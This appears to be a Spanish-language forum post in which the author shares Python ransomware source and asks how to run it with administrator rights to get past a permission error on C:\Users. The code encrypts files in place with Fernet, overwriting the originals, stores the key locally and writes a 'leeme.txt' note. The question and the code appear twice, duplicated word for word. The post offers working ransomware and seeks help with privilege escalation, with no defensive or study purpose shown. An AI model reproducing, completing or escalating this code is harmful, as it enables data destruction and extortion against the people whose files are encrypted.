Buenas Noders,
Estoy trabajando con el codigo de un Ransomware, la question es que funciona si le digo que encrypte una carpeta sin permisos, pero cuando le pongo una ruta con permisos com 'C:\Users' me da este error: (PermissionError: [Errno 13] Permission denied: 'C:\\Users').
Hay alguna forma de que el codigo se ejecute con permissos de administrador?
Les adjunto el codigo del Ransomware:
from cryptography.fernet import Fernet
import os
def generar_key():
key = Fernet.generate_key()
with open('key.key', 'wb') as key_file:
key_file.write(key)
def cargar_key():
return open('key.key', 'rb').read()
def encrypt(items, key):
f = Fernet(key)
for item in items:
with open(item, 'rb') as file:
file_data = file.read()
encrypted_data = f.encrypt(file_data)
with open(item, 'wb') as file:
file.write(encrypted_data)
if __name__ == '__main__':
path_to_encrypt = 'C:\\Users'
items = os.listdir(path_to_encrypt)
full_path = [path_to_encrypt + '\\' + item for item in items]
generar_key()
key = cargar_key()
encrypt(full_path, key)
with open(path_to_encrypt + '\\' + 'leeme.txt', 'w') as file:
file.write('Text\n')
file.write('+ text')
Estoy trabajando con el codigo de un Ransomware, la question es que funciona si le digo que encrypte una carpeta sin permisos, pero cuando le pongo una ruta con permisos com 'C:\Users' me da este error: (PermissionError: [Errno 13] Permission denied: 'C:\\Users').
Hay alguna forma de que el codigo se ejecute con permissos de administrador?
Les adjunto el codigo del Ransomware:
from cryptography.fernet import Fernet
import os
def generar_key():
key = Fernet.generate_key()
with open('key.key', 'wb') as key_file:
key_file.write(key)
def cargar_key():
return open('key.key', 'rb').read()
def encrypt(items, key):
f = Fernet(key)
for item in items:
with open(item, 'rb') as file:
file_data = file.read()
encrypted_data = f.encrypt(file_data)
with open(item, 'wb') as file:
file.write(encrypted_data)
if __name__ == '__main__':
path_to_encrypt = 'C:\\Users'
items = os.listdir(path_to_encrypt)
full_path = [path_to_encrypt + '\\' + item for item in items]
generar_key()
key = cargar_key()
encrypt(full_path, key)
with open(path_to_encrypt + '\\' + 'leeme.txt', 'w') as file:
file.write('Text\n')
file.write('+ text')